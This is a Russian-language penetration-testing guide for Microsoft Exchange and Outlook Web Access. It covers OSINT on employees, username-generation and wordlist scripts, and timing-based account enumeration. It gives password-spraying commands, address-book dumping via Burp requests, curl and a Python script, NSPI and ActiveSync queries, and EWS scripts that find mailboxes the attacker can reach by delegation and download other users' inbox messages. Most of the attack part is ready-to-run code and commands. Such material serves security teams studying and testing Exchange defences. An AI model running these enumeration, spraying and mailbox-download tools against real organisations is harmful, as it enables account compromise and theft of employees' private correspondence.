Skip to main content

OWA Pentest Guide

·12194 words·58 mins·
Author
FaLLenSkiLL
Table of Contents

⚠ Важно: Все материалы предоставлены исключительно в образовательных целях. Использование этой информации без разрешения владельца системы незаконно. Автор не несёт ответственности за её неправомерное применение.

Вступление
#

Решил с вами поделится заметками из своего Obsidian по тестированию на проникновение одной из самых приоритетных целей в корпоративной сети — Outlook Web Access (OWA).

Отмечу, что не вся представленная информация включает в себя мои наработки, я лишь структурировал, на мой взгляд, самое интересное и записал себе в обси. Чем и делюсь с вами. Все ссылки на источники, как обычно, представлены в конце статьи. Отдельно выделю среди всех статью от PT Swarm.

Для понимания контекста, сначала разберем основные термины:

  • Microsoft Exchange Server - Это серверный продукт, почтовый сервер, который работает где-то внутри инфраструктуры компании на Windows Server. Именно он принимает, хранит и пересылает почту, управляет календарями и контактами.
  • Outlook - Клиентское приложение, которое устанавливается на компьютер пользователя (Windows, macOS, Android). Это просто программа-посредник, которая подключается к серверу Exchange (или к Microsoft 365 в облаке) чтобы показывать вам почту.
  • OWA (Outlook Web App / Outlook Web Access) - Веб-клиент к почтовому ящику на сервере Exchange. Проще говоря, это веб-ресурс (например, owa.company.com), который позволяет вам получить доступ к почте, календарю и контактам через браузер, без установки клиентского приложения Outlook.
  • Autodiscover - Это служебный протокол и функция Exchange. Его задача — автоматически настроить почтовый клиент (Outlook, мобильное приложение) для работы с конкретным сервером Exchange. Для этого используется специальный URL, обычно autodiscover.company.com.
  • Active Directory - это служба каталогов Microsoft для централизованного управления объектами сети (пользователями, группами, компьютерами, серверами, принтерами и другими ресурсами). AD обеспечивает хранение метаданных и атрибутов объектов, поддерживает аутентификацию, авторизацию и управление политиками безопасности. В корпоративной инфраструктуре AD содержит критически важные данные, что делает её ключевой мишенью для атак и подчеркивает необходимость строгих мер информационной безопасности.
  • Microsoft 365 (Office 365) - Облачная версия продуктов Microsoft, включающая облачную почту (Exchange Online), файловое хранилище (OneDrive/SharePoint Online), Teams и т.д.
  • Microsoft SharePoint - Платформа для порталов, документооборота и совместной работы. Часто интегрирован с Exchange и AD. Представляет из себя хранилище данных.
  • Microsoft Teams -  Платформа для командного общения (чаты, звонки, встречи). Сильно завязана на M365/Exchange. (Очередной Zoom)
  • Exchange Web Services (EWS) - Набор веб-сервисов на основе протокола SOAP, разработанный Microsoft для доступа и управления данными в почтовых ящиках Microsoft Exchange, таких как электронные письма, контакты и встречи. По сути это SOAP API для работы с почтой. Используется клиентами и интеграциями.
  • ADFS (Active Directory Federation Services) - это сервис единого входа (SSO — Single Sign-On) от Microsoft. Его основная задача — позволить пользователям аутентифицироваться в локальной Active Directory (AD) и получать доступ к сторонним приложениям (например, к Microsoft 365, Salesforce, другим SaaS-сервисам) без необходимости вводить пароль снова.
  • Exchange ActiveSync (EAS) — сервис, позволяющий пользователям мобильных устройств получать доступ к электронной почте, календарю, контактам, задачам и работать с этой информацией без подключения к интернету.
  • RPC — служба клиентского доступа через протокол RPC, который работает поверх HTTP.
  • Offline Address Book (OAB) — служба автономной адресной книги сервера Exchange, которая позволяет пользователям Outlook кешировать содержимое GAL (Global Address List) и обращаться к нему даже при отсутствии подключения к Exchange.
  • GAL (Глобальный список адресов) - это список конечных адресов электронной почты всех пользователей домена и другой информации о почтовых ящиках (если у пользователя он есть).
  • NSPI (Name Service Provider Interface) - это интерфейс провайдера службы имён, который принимает запросы каталога от клиента Outlook и передаёт их провайдеру адресной книги. С помощью NSPI клиент Outlook определяет имя получателя.

Не переживайте, к многим терминам мы будем возвращаться далее в статье по мере необходимости, не обязательно их сейчас все заучивать.

Разведка и сбор информации
#

Итак. Предположим, что вам на пентесте попалась OWA (Outlook Web App). (Это тот, который веб-клиент).

Обычно он расположен на поддоменах с именами:

autodiscover
mx
owa
mail
exchange

Pasted image 20250926213628.png

И также может быть обнаружен через эндпоинты:

/owa/
/ews/
/ecp/
/oab/
/autodiscover/
/Microsoft-Server-ActiveSync/
/rpc/
/powershell/

Вот небольшая автоматизация по детекту:

for i in `cat subdomains.txt | rev | cut -d. -f1-2 | rev | sort -u`; do echo https://autodiscover.$i; done | httpx -silent -random-agent -fr -t 20 -sc -title -td -ip | grep Outlook | grep -oP '\d+\.\d+\.\d+\.\d+' | dnsx -silent -re -ptr

Получим:

1.3.3.7 [mx1.example.com]
66.66.66.66 [mx2.example.ru]
123.123.123.123 [mx3.example.bz]

Выглядит OWA следующим образом:

Pasted image 20250717115801.png

Версия постарше:

Pasted image 20250907195748.png

Наша первостепенная задача - получить учетную запись пользователя. Есть несколько способов это сделать.

Поиск сотрудников компании
#

Одними из источников данных на этапе разведки являются социальные сети и лендинги сайтов компании, на страницах которых можно найти довольно большой объём полезного о сотрудниках и оргструктуре.

Чтобы никого не обидеть, я в качестве примеров буду брать случайные компании с публичными bugbouty.

Нас в первую очередь интересуют разделы с контактами, вакансии компании на ресурсах по поиску работы, b2b порталы с информацией о менеджерах, записи в реестрах проверки контрагентов и т.д. Главное - собрать существующие почты и ФИ/ФИО сотрудников.

Pasted image 20250907210409.png

Pasted image 20250907210526.png

Pasted image 20250907210641.png

Или, если никакой информации не нашлось, достаточно найти кого-нибудь из руководителей. Это, как правило, люди публичные.

Pasted image 20250907210735.png

Уже одного ФИО, при правильном подходе, может быть вполне достаточно.

Генерация вероятных имен учетных записей
#

Полученные имена и фамилии, при недостатке другой информации, можно конвертировать в вероятные имена учетных записей Active Directory.

Я написал скрипт генерации почт, на основе известных ИО/ФИО. Его имеет смысл использовать только в случае отсутствия информации о формате учетных записей компании.

Usage: mail_gen.py <usernames.txt>

#!/usr/bin/python3
#Author:
#FaLLenSkiLL

import sys
import re

def clean_name(name):
    """Удаляет спецсимволы и приводит к нижнему регистру"""
    return re.sub(r'[^а-яёa-z0-9]', '', name.lower())

def generate_username_variants(parts):
    """
    Генерирует варианты имен пользователей на основе частей имени.
    parts = [last_name, first_name, (middle_name)]
    """
    variants = set()
    parts = [clean_name(p) for p in parts]
    last_name = parts[0]
    first_name = parts[1]
    
    # Проверяем наличие отчества
    has_middle_name = len(parts) >= 3
    if has_middle_name:
        middle_name = parts[2]

    # Основные комбинации
    variants.update([
        last_name,                      # Ivanov (только фамилия)
        first_name,                     # Fedor (только имя)
        last_name + first_name,         # IvanovFedor (фамилия + имя без разделителя)
        first_name + last_name,         # FedorIvanov (имя + фамилия без разделителя)
        f"{last_name}.{first_name}",    # Ivanov.Fedor (фамилия + точка + имя)
        f"{first_name}.{last_name}",    # Fedor.Ivanov (имя + точка + фамилия)
        f"{last_name}-{first_name}",    # Ivanov-Fedor (фамилия + дефис + имя)
        f"{first_name}-{last_name}",    # Fedor-Ivanov (имя + дефис + фамилия)
        f"{last_name}_{first_name}",    # Ivanov_Fedor (фамилия + подчеркивание + имя)
        f"{first_name}_{last_name}",    # Fedor_Ivanov (имя + подчеркивание + фамилия)
    ])

    # Добавляем варианты с отчеством, если оно есть
    if has_middle_name:
        variants.update([
            # Комбинации с полным отчеством
            f"{last_name}{first_name}{middle_name}",      # IvanovFedorVictorovich (полное ФИО)
            f"{first_name}{middle_name}{last_name}",      # FedorVictorovichIvanov (полное ИОФ)
            f"{last_name}.{first_name}.{middle_name}",    # Ivanov.Fedor.Victorovich
            f"{first_name}.{middle_name}.{last_name}",    # Fedor.Victorovich.Ivanov
            
            # Комбинации с инициалами отчества
            f"{last_name}{first_name}{middle_name[0]}",   # IvanovFedorV
            f"{first_name}{middle_name[0]}{last_name}",   # FedorVIvanov
            f"{last_name}.{first_name}.{middle_name[0]}", # Ivanov.Fedor.V
            f"{first_name}.{middle_name[0]}.{last_name}", # Fedor.V.Ivanov
        ])

    # Варианты с инициалами
    variants.update([
        # Комбинации с полной фамилией и инициалом имени
        f"{last_name}{first_name[0]}",      # IvanovF (Фамилия + первая буква имени)
        f"{first_name[0]}{last_name}",      # FIvanov (Первая буква имени + фамилия)
        f"{last_name}.{first_name[0]}",     # Ivanov.F (Фамилия + точка + инициал имени)
        f"{first_name[0]}.{last_name}",     # F.Ivanov (Инициал имени + точка + фамилия)
        f"{last_name}-{first_name[0]}",     # Ivanov-F (Фамилия + дефис + инициал имени)
        f"{first_name[0]}-{last_name}",     # F-Ivanov (Инициал имени + дефис + фамилия)
        f"{last_name}_{first_name[0]}",     # Ivanov_F (Фамилия + подчеркивание + инициал имени)
        f"{first_name[0]}_{last_name}",     # F_Ivanov (Инициал имени + подчеркивание + фамилия)

        # Комбинации с полным именем и инициалом фамилии
        f"{first_name}{last_name[0]}",      # FedorI (Имя + первая буква фамилии)
        f"{last_name[0]}{first_name}",      # IFedor (Первая буква фамилии + имя)
        f"{first_name}.{last_name[0]}",     # Fedor.I (Имя + точка + инициал фамилии)
        f"{last_name[0]}.{first_name}",     # I.Fedor (Инициал фамилии + точка + имя)
        f"{first_name}-{last_name[0]}",     # Fedor-I (Имя + дефис + инициал фамилии)
        f"{last_name[0]}-{first_name}",     # I-Fedor (Инициал фамилии + дефис + имя)
        f"{first_name}_{last_name[0]}",     # Fedor_I (Имя + подчеркивание + инициал фамилии)
        f"{last_name[0]}_{first_name}",     # I_Fedor (Инициал фамилии + подчеркивание + имя)
    ])

    # Добавляем варианты с инициалами отчества, если оно есть
    if has_middle_name:
        variants.update([
            # Комбинации с инициалами имени и отчества
            f"{last_name}{first_name[0]}{middle_name[0]}",    # IvanovFV
            f"{first_name[0]}{middle_name[0]}{last_name}",    # FVIvanov
            f"{last_name}.{first_name[0]}.{middle_name[0]}",  # Ivanov.F.V
            f"{first_name[0]}.{middle_name[0]}.{last_name}",  # F.V.Ivanov
            
            # Комбинации с инициалом отчества
            f"{last_name}{middle_name[0]}",                   # IvanovV
            f"{middle_name[0]}{last_name}",                   # VIvanov
            f"{first_name}{middle_name[0]}",                  # FedorV
            f"{middle_name[0]}{first_name}",                  # VFedor
        ])

    # Варианты с двумя инициалами
    variants.update([
        # Буквы без разделителей (обратный и прямой порядок)
        f"{last_name[0]}{first_name[0]}",      # if (Ivanov + Fedor)
        f"{first_name[0]}{last_name[0]}",      # fi (Fedor + Ivanov)
        
        # С разделителем точки (обратный и прямой порядок)
        f"{last_name[0]}.{first_name[0]}",     # i.f (Ivanov.Fedor)
        f"{first_name[0]}.{last_name[0]}",     # f.i (Fedor.Ivanov)
        
        # С разделителем дефиса (обратный и прямой порядок)
        f"{last_name[0]}-{first_name[0]}",     # i-f (Ivanov-Fedor)
        f"{first_name[0]}-{last_name[0]}",     # f-i (Fedor-Ivanov)
        
        # С разделителем подчеркивания (обратный и прямой порядок)
        f"{last_name[0]}_{first_name[0]}",     # i_f (Ivanov_Fedor)
        f"{first_name[0]}_{last_name[0]}",     # f_i (Fedor_Ivanov)
    ])

    # Добавляем варианты с инициалами отчества, если оно есть
    if has_middle_name:
        variants.update([
            # Три инициала (различные комбинации)
            f"{last_name[0]}{first_name[0]}{middle_name[0]}",    # ifv
            f"{first_name[0]}{last_name[0]}{middle_name[0]}",    # fiv
            f"{first_name[0]}{middle_name[0]}{last_name[0]}",    # fvi
            
            # Три инициала с разделителями
            f"{last_name[0]}.{first_name[0]}.{middle_name[0]}",  # i.f.v
            f"{first_name[0]}.{last_name[0]}.{middle_name[0]}",  # f.i.v
            f"{first_name[0]}.{middle_name[0]}.{last_name[0]}",  # f.v.i
        ])

    # Популярные короткие формы
    variants.update([
        first_name[0] + last_name,  # fivanov (инициал имени + фамилия)
        last_name + first_name[0],  # ivanovf (фамилия + инициал имени)
        last_name[0] + first_name,  # ifedor (инициал фамилии + имя)
        first_name + last_name[0],  # fedori (имя + инициал фамилии)
    ])
    
    # Добавляем короткие формы с отчеством, если оно есть
    if has_middle_name:
        variants.update([
            first_name[0] + last_name + middle_name[0],  # fivanovv
            last_name + first_name[0] + middle_name[0],  # ivanovfv
            last_name[0] + first_name + middle_name[0],  # ifedorv
            first_name[0] + middle_name[0] + last_name,  # fvivanov
        ])

    return sorted(variants)

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <usernames.txt>")
        sys.exit(1)

    try:
        with open(sys.argv[1], "r", encoding='utf-8') as f:
            names = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"Error: File '{sys.argv[1]}' not found")
        sys.exit(1)
    except Exception as e:
        print(f"Error reading file: {e}")
        sys.exit(1)

    all_variants = set()

    for name in names:
        try:
            parts = name.split()
            if len(parts) < 2:
                print(f"Warning: Skipping malformed name '{name}' - expected 'LastName FirstName'")
                continue

            variants = generate_username_variants(parts)
            all_variants.update(variants)

            print(f"\nVariants for '{name}':")
            for v in variants:
                print(v)

        except Exception as e:
            print(f"Error processing name '{name}': {e}")

    try:
        with open("username_variants.txt", "w", encoding='utf-8') as out_file:
            out_file.write("\n".join(sorted(all_variants)))
        print("\nAll unique variants have been saved to 'username_variants.txt'")
    except Exception as e:
        print(f"Error saving results: {e}")

if __name__ == "__main__":
    main()

mail_gen.py

На выходе получаем такой список:

f-i
f-ivanov
f.i
f.i.v
f.ivanov
f.v.i
f.v.ivanov
f_i
f_ivanov
fedor
fedor-i
fedor-ivanov
fedor.i
fedor.ivanov
fedor.v.ivanov
fedor.victorovich.ivanov
fedor_i
fedor_ivanov
fedori
fedorivanov
fedorv
fedorvictorovichivanov
fedorvivanov
fi
fiv
fivanov
fivanovv
fvi
fvivanov
i-f
i-fedor
i.f
i.f.v
i.fedor
i_f
i_fedor
if
ifedor
ifedorv
ifv
ivanov
ivanov-f
ivanov-fedor
ivanov.f
ivanov.f.v
ivanov.fedor
ivanov.fedor.v
ivanov.fedor.victorovich
ivanov_f
ivanov_fedor
ivanovf
ivanovfedor
ivanovfedorv
ivanovfedorvictorovich
ivanovfv
ivanovv
vfedor
vivanov

Этот список мы будем использовать для идентификации существующего формата почт, но как именно - я расскажу позже.

А пока рассмотрим более простые варианты идентификации формата УЗ:

B2B Порталы
#

Зачастую у компаний, по мимо b2c сегмента, есть ресурсы для бизнеса, на которых больше информации о сотрудниках, чем на стерильных ресурсах для пользователей.

У PT, например, если зарегистрироваться на одном из таких сайтов, пользователю присваивается почта на домене pt.ru, что может быть весьма полезно.

Pasted image 20250907230304.png

OSINT
#

Иногда достаточно просто загуглить заяндексить.

Pasted image 20250926214100.png

И узнать не только расположение почтового сервиса и почты сотрудников, но и формат паролей.

Pasted image 20250926214150.png

И, если Яндекс не помог, то еще существуют специальные агрегаторы почт:

В идеале, мы уже на этом этапе получаем перечень существующих почт, хоть и не полный.

Pasted image 20250907234626.png

Hunter.io так вообще, пока я искал почты позитивов, насканил в презентации Ярослава Бабина по социалке и сбору корпоративных почт… его корпоративную почту.

Pasted image 20250907232641.png

Pasted image 20250907232732.png

Презентация кстати крутая, советую ознакомиться.

Pasted image 20250907233403.png

#птсесурити

Также можно полистать соцсети и тг каналы сотрудников целевой компании.

Pasted image 20250908215040.png

Алексей, у вас раскрытие корпоративных почт прописано в модели угроз?

Поиск учеток по утечкам
#

Также мы можем поискать утечки по домену, используя такие сервисы, как:

И им подобные. (Последнее время стали популярны боты в телеграм, но у них так часто меняются ссылки, что я, пожалуй, их указывать не буду)

Иногда, кстати, в утечках могут попасться не только почты, но и сразу пароли.

Pasted image 20250907205650.png

Таким образом мы узнали, что формат корпоративных почт у PT (за исключением сервисных и тестовых) - Первая буква имени, фамилия @ ptsecurity.com ([email protected])

Автоматизированные средства поиска
#

The Harvester

Это инструмент разведки с открытым исходным кодом (Open Source Intelligence - OSINT), написанный на Python. Его основная задача — сбор электронных адресов, имен пользователей, поддоменов, IP-адресов и URL-адресов из публичных источников.

python3 theHarvester.py -d standoff365.com -b all -f results

Pasted image 20250909165332.png

Pasted image 20250909165511.png

Отмечу, что Harvester не атакует целевые системы, а только запрашивает информацию из публичных поисковых систем и баз данных. Использует так называемый пассивный сбор информации.

Составляем перечень существующих почт
#

Теперь, когда мы знаем формат корпоративных почт компании, нужно идентифицировать максимально возможное количество существующих УЗ. Чем больше найдем, тем лучше.

Для этого будем использовать уязвимость userenum. Это самый технически простой и распространенный способ, который встречается в сервисах OWA до сих пор. И который, кстати, может быть не только в OWA, но и на поддоменах компании, например, в самописном сервисе.

Но чтобы перебирать УЗ через userenum, нужен словарь. Его будем составлять на основе распространённых русских имен и фамилий. Найти их можно на гитхабе.

Pasted image 20250908001733.png

Скачиваем нужные нам файлики и легким запуском скрипта трансформируем их в нужный нам формат УЗ.

Примеры скриптов:

1. Фамилия + имя без разделителя
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print $0 a[i]}' russian_trans_names.txt russian_trans_surnames.txt > surnamename.txt

2. Имя + фамилия без разделителя
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print a[i] $0}' russian_trans_names.txt russian_trans_surnames.txt > namesurname.txt

3. Фамилия.Имя
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print $0 "." a[i]}' russian_trans_names.txt russian_trans_surnames.txt > surname_dot_name.txt

4. Имя.Фамилия
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print a[i] "." $0}' russian_trans_names.txt russian_trans_surnames.txt > name_dot_surname.txt

5. Фамилия-Имя
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print $0 "-" a[i]}' russian_trans_names.txt russian_trans_surnames.txt > surname_dash_name.txt

6. Имя-Фамилия
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print a[i] "-" $0}' russian_trans_names.txt russian_trans_surnames.txt > name_dash_surname.txt

7. Фамилия_Имя
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print $0 "_" a[i]}' russian_trans_names.txt russian_trans_surnames.txt > surname_underscore_name.txt

8. Имя_Фамилия
awk 'NR==FNR {a[NR]=$0; next} {for(i=1;i<=length(a);i++) print a[i] "_" $0}' russian_trans_names.txt russian_trans_surnames.txt > name_underscore_surname.txt

Я вам любезно составил такие словарики на самые популярные форматы:

https://github.com/FaLLenSKiLL1/ru_names_wordlists

  1. Фамилия + имя без разделителя https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/surnamename.tar.xz

  2. Имя + фамилия без разделителя https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/namesurname.tar.xz

  3. Фамилия.Имя https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/surname_dot_name.tar.xz

  4. Имя.Фамилия https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/name_dot_surname.tar.xz

  5. Фамилия-Имя https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/surname_dash_name.tar.xz

  6. Имя-Фамилия https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/name_dash_surname.tar.xz

  7. Фамилия_Имя https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/surname_underscore_name.tar.xz

  8. Имя_Фамилия https://github.com/FaLLenSKiLL1/ru_names_wordlists/raw/refs/heads/main/name_underscore_surname.tar.xz

После чего идем делать userenum

⚠ Важное уточнение!

Словари довольно большие, поэтому пользоваться ими рекомендую только если вы ненавидите OSINT и не хотите искать почты или в случае полного отчаяния. Словари рассчитаны на поиск до первого совпадения, надеюсь, вы не будете прогонять их полностью.

Userenum
#

У почтового сервиса Microsoft существует time-based атаки подбора логинов - обработка сервером запроса авторизации несуществующего пользователя продлится от 50 до 200 миллисекунд, а рабочей учетной записи (даже при неправильном пароле) больше секунды.

Данная задержка позволяет нам идентифицировать существующие имена доменных учетных записей.

https://github.com/busterb/msmailprobe

./msmailprobe userenum --onprem -t mail.target.com -U userList.txt -o validusers.txt --threads 25

А еще с помощью этой тулы можно узнать внутренний домен:

Pasted image 20251003231246.png

./msmailprobe identify -t mail.target.com

Pasted image 20251003231625.png

Виды атак и уязвимости OWA
#

Теперь переходим к методам и техникам атакующих.

Password spraying
#

burp intruder

./ruler -k -d example.com brute --users owa-valid-users.txt --passwords.txt --delay 35 --attempts 3 --verbose | tee -a spray-results.txt
./ruler -k --nocache --url https://autodiscover.example.com/autodiscover/autodiscover.xml -d example.com brute --users owa-valid-users.txt --passwords passwords.txt --delay 35 --attempts 3 --verbose | tee -a spray-results.txt

GAL/OAB
#

Ruler

./ruler -k -d megacorp.com -u snovvcrash -p 'Passw0rd!' -e [email protected] --verbose abk dump -o gal.txt

MailSniper

Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName MEGACORP\snovvcrash -Password 'Passw0rd!' -OutFile gal.txt

Search for <OABUrl> node using Burp:

POST /autodiscover/autodiscover.xml HTTP/1.1
Host: mx.megacorp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Authorization: Basic TUVHQUNPUlBcc25vdnZjcmFzaDpQYXNzdzByZCEK
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
   <Request>
      <EMailAddress>[email protected]</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

Or with a Python script:

./oaburl.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -e '[email protected]'
#!/usr/bin/env python3
# Usage: python3 oaburl.py MEGACORP/j.doe:'Passw0rd!'@mx.example.com -e [email protected]

from xml.dom import minidom
from argparse import ArgumentParser
from getpass import getpass
import requests

GN = '\033[0;32m' # GREEN NORMAL
GB = '\033[1;32m' # GREEN BOLD
NC = '\033[0m'    # NO COLOR

headers = {
	'User-Agent': 'Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro)',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
	'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3',
	'Accept-Encoding': 'gzip, deflate',
	'Content-Type': 'text/xml'
}

data = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>"""


def init_args():
	parser = ArgumentParser()
	parser.add_argument('target', help='<<domain/>username[:password]@><targetName_or_address>')
	parser.add_argument('-e', '--email', required=True, help='any valid email address within the domain')
	return parser.parse_args()


def parse_target(target):
	creds, hostname = target.rsplit('@', 1)
	domain, userpass = creds.split('/', 1)

	try:
		username, password = userpass.split(':', 1)
	except ValueError:
		username = userpass
		password = getpass()

	return (domain.upper(), username, password, hostname)


def print_node_value(dom, nodename, color=GN):
	print(f'{color}[+] {nodename}: {dom.getElementsByTagName(nodename)[0].childNodes[0].nodeValue}{NC}')


if __name__ == '__main__':
	args = init_args()
	domain, username, password, hostname = parse_target(args.target)

	headers['Host'] = hostname
	data = data % (args.email,)

	session = requests.Session()
	session.auth = (f'{domain}\\{username}', password)
	resp = session.post(f'https://{hostname}/autodiscover/autodiscover.xml', headers=headers, data=data, verify=False)
	print(f'[*] Authenticated users\'s SID (X-BackEndCookie): {resp.headers["Set-Cookie"].split("=")[1]}')

	dom = minidom.parseString(resp.text)
	dom.normalize()

	print_node_value(dom, 'DisplayName')
	#print_node_value(dom, 'LegacyDN')
	print_node_value(dom, 'Server')
	#print_node_value(dom, 'ServerDN')
	print_node_value(dom, 'AD')
	print_node_value(dom, 'OABUrl', color=GB)

Get oab.xml and then oab.lzx:

curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/oab.xml > oab.xml
cat oab.xml | grep '.lzx' | grep data
curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/<LZXUrl> > oab.lzx

Install libmspack:

git clone https://github.com/kyz/libmspack ~/tools/libmspack && cd ~/tools/libmspack/libmspack
sudo apt install autoconf automake libtool -y
./rebuild.sh && ./configure && make && cd -

Parse oab.lzx into oab.txt and extract emails from oab.txt with a regexp:

~/tools/libmspack/libmspack/examples/oabextract oab.lzx oab.txt
strings oab.txt | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}" | sort -u > emails.txt

Лайфхак
#

Пользователи могут управлять разрешениями на доступ к каталогам своей электронной почты. Это может делать и почтовый администратор.

При получении доступа к одной эл.почте мы можем проверить права доступа к чужим эл.ящикам:

Ваша учетная запись должна иметь доступ по протоколу ews!

  1. Выгрузить список всех адресов из глобальной адресной книги: например, через MailSniper.ps1 (https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1)
Get-GlobalAddressList -ExchHostname owa.server.com -UserName domain\user -Password password123 -OutFile gal.txt
  1. Запустить проверку прав доступа через скрипт: https://github.com/feedb/ebussing/blob/main/ge.py
from exchangelib import Credentials, Account, Configuration
from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter
BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter
from exchangelib import DELEGATE, IMPERSONATION, Account
from exchangelib.services import FindPeople, GetPersona
from exchangelib.items import Contact, DistributionList, Persona
from exchangelib.fields import FieldPath
from exchangelib import Q
import sys
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(description='MS Exchange email folder access abuse.')
parser.add_argument('-i', '--inputfile',help='File with emails')
parser.add_argument('-d', '--domain',  type=str,help='Windows AD name.')
parser.add_argument('-s', '--server',  type=str, help='URL to Exchange Server.')
parser.add_argument('-u', '--username',  type=str, help='Username.')
parser.add_argument('-p', '--password', type=str, help='Password.')

args = parser.parse_args()

def main():
    if args.inputfile is not None:
        with open(args.inputfile, "r") as file1:
            for line in file1:
                print(line.strip())
                account = Account(
                    primary_smtp_address=line.strip(),
                    config=Configuration(
                    service_endpoint='https://'+args.server+'/EWS/Exchange.asmx',
                    credentials=Credentials(args.domain+'\\'+args.username, args.password),
                ),
                autodiscover=False,
                access_type=DELEGATE
                )
                try:
                    print(account.root.tree())
                except:
                    pass

if __name__ == "__main__":
    main()

В файле gal.txt у вас должны находиться адреса эл.почты

python3 ge.py

Будут выводиться записи root, где будет отображаться дерево как на скриншоте. Наличие дерева подразумевает доступ вашей учетной записи к каталогам и их содержимому эл.ящика (см.скриншот)

list.png

  1. находим почты с разрешенным доступом и выгружаем содержимое каталога входящих писем скриптом: https://github.com/feedb/ebussing/blob/main/download.py
from exchangelib import Credentials, Account, Configuration
from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter
BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter
from exchangelib import DELEGATE, IMPERSONATION, Account
from exchangelib.services import FindPeople, GetPersona
from exchangelib.items import Contact, DistributionList, Persona
from exchangelib.fields import FieldPath
from exchangelib import Q
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


with open("emails.txt", "r") as file1:
    for line in file1:
        name = line.strip()
        success = False 
        while not success:
            try:
                print(line.strip())
                account = Account(
                    primary_smtp_address=line.strip(),
                    config=Configuration(
                    service_endpoint="https://server/EWS/Exchange.asmx",
                    credentials=Credentials('domain\\user', 'pass'),
                    max_connections=10,
                ),
                autodiscover=False,
                access_type=DELEGATE
                )
                import uuid
                qs = account.inbox.all()
                qs.page_size = 1000  # Number of IDs for FindItem to get per page
                qs.chunk_size = 10  # Number of full items for GetItem to request per call
                for msg in qs:
                    with open('out\%s.%s.inbox.eml' % (uuid.uuid4(),name), "wb") as f:
                        f.write(msg.mime_content)
                success = True
            except:
                pass

В emails.txt складываем почты в которых есть доступ к inbox/входящие, создаем каталог out и запускаем

python3 get.py

В каталоге out будут сохраняться eml чужих сообщений P.s. скрипты написаны на коленке, в новой версии будут параметры и т.д. P.s.2.через веб морду owa к ящикам доступа не будет, а через api ews доступ возможен. такие вот дела.

Источник

NSPI
#

Напомню, что NSPI - это протокол Microsoft для доступа к службам каталогов, который используют:

  • Exchange Server для доступа к глобальному списку адресов (GAL)
  • Active Directory через интерфейсы MAPI
  • Outlook для поиска контактов и пользователей

Мы можем собирать информацию через запросы к серверу Microsoft Exchange, с помощью скрипта impacket exchanger.py для получения данных из глобального списка адресов (GAL) с использованием протокола NSPI.

Перечисление пользователей через NSPI

exchanger.py domain/user:[email protected] nspi dnt-lookup -lookup-type EXTENDED -start-dnt 0 -stop-dnt 500000 -output-file dnt-dump.txt

Поиск конкретных пользователей

exchanger.py domain/user:[email protected] nspi dnt-lookup -lookup-type EXTENDED -filter "DisplayName=*Admin*"

На выходе получаем список объектов (пользователей, групп, контактов).

Pasted image 20251003220654.png

ActiveSync (EAS)
#

EAS - протокол Microsoft для синхронизации мобильных устройств с Exchange Server.

Установка:

git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate
(venv) $ pip install --upgrade 'setuptools<45.0.0'
(venv) $ pip install -r requirements.txt

Запуск:

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --check

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01'

